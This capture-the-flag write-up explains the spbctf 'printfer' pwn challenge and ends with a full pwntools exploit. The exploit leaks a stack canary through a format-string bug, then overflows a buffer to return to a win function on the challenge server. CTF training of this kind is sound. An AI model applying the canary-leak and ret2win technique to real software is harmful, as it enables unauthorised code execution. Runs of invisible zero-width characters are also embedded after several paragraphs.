← Back to Writeups
CUSTOMMediumpwn

printfer

XESXOR9/2/20264 min read
#pwn#custom#medium#canary_leak#format_string_leak#ret2win#stack_buffer_overflow

printfer

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: canary_leak, format_string_leak, ret2win, stack_buffer_overflow

Summary

Task: x86-64 ELF (No PIE, canary, NX) with two bugs in logic() — a format string on a global buffer and a 0x200-byte read into a 0x90-byte stack buffer, plus an unused win_fcn that prints flag.txt. Solution: leak the stack canary with %23$p, then overflow the buffer restoring the canary and overwriting the saved return address with win_fcn (ret2win).

printfer — spbctf

Description

task_printfer — https://pwn.spbctf.ru/files/canary/task_printfer nc 109.233.56.90 11589

A dynamically-linked, not-stripped x86-64 ELF asks for a name and a message. The name is printed back through an uncontrolled printf, and the message read overflows a stack buffer. An unused win_fcn reads and prints flag.txt. Goal: reach win_fcn despite the stack canary.

Recon

file task_printfer
# ELF 64-bit LSB x86-64, dynamically linked, not stripped,
# BuildID 54ae9adad9b6387c52b0f8e6793f28a82860e377
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

checksec --file=task_printfer
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

nm / strings reveal a win_fcn symbol, calls to printf, and the string flag.txt. Disassembling with objdump -d -M intel the relevant functions:

  • main() → calls logic().
  • logic() @ 0x40091d:
    1. memset(name /*0x6010a0*/, 0, ...)
    2. puts("Say your name:")
    3. read_n(name, 0x100) — reads into the global name.
    4. printf("Welcome, ")
    5. printf(name) — format string vulnerability (no format specifier).
    6. puts("Now enter your message:")
    7. read_n([rbp-0x90], 0x200) — stack buffer overflow: 0x200 bytes into a 0x90 buffer.
    8. puts("Thank you! ...")
    9. memset, canary check @ [rbp-0x8] (loaded from fs:[0x28]), leave; ret.
  • read_n() @ 0x400817: reads byte-by-byte via read(0, ..., 1), stops on newline (0x0a → replaced with 0) or on read() <= 0. It does not stop on null bytes, so payloads may contain \x00 but must avoid 0x0a.
  • win_fcn() @ 0x400885: fopen("flag.txt","r"), fread up to 0x100 bytes, fclose, puts(buffer), exit(0). Prints the flag; never reached normally. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability analysis

Two independent bugs live in logic():

  1. Format string — printf(name) on attacker-controlled input lets us read arbitrary stack slots with %N$p. This is the info-leak primitive.
  2. Stack buffer overflow — read_n([rbp-0x90], 0x200) writes up to 512 bytes into a 144-byte buffer, enough to overwrite the saved canary, saved RBP, and the return address.

Protections present: NX (no shellcode), stack canary (naive overflow dies), No PIE (so win_fcn is at a fixed address 0x400885). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The classic combination: use bug #1 to leak the canary, then use bug #2 to overflow while rewriting the same canary value back in place, redirecting the return to win_fcn (ret2win).

Finding the canary offset

The first 5 printf variadic args come from registers (rsi, rdx, rcx, r8, r9 = positions 1–5); stack args start at position 6. Leaking positions 18–25 with %18$p ... %25$p, the canary is the slot whose value ends in 00 (canaries have a null LSB), e.g. 0x7d07d5916d3c3f00. That slot is %23$p. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Overflow layout

buffer [rbp-0x90]  ....  canary [rbp-0x8]  saved_rbp [rbp+0]  ret [rbp+8]
|<------- 0x90 - 0x8 = 0x88 (136) ------->|<- 8 ->|<-- 8 -->|<--- 8 --->|

Padding to canary = 0x88 = 136 bytes, then canary(8) + rbp(8) + ret(8).

Exploitation

Stage 1 — leak canary via format string with %23$p. Stage 2 — overflow: 'A'*0x88 + p64(canary) + p64(dummy_rbp) + p64(win_fcn). sendline appends the terminating \n that read_n uses as its input terminator; the payload itself must contain no 0x0a. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'warning'
HOST, PORT = '109.233.56.90', 11589

io = remote(HOST, PORT)

# Stage 1: leak the stack canary via the format-string bug
io.recvuntil(b'Say your name:')
io.sendline(b'%23$p')
io.recvuntil(b'Welcome, ')
leak = io.recvuntil(b'!', drop=True).strip()
canary = int(leak, 16)
log.warning('canary = %#x' % canary)

# Stage 2: overflow -> restore canary -> ret2win
io.recvuntil(b'Now enter your message:')
win = 0x400885
payload  = b'A' * 0x88
payload += p64(canary)
payload += p64(0xdeadbeef)   # saved rbp (irrelevant)
payload += p64(win)          # return address -> win_fcn
io.sendline(payload)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

data = io.recvall(timeout=5)
print(data.decode(errors='replace'))

Running it prints the contents of flag.txt. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍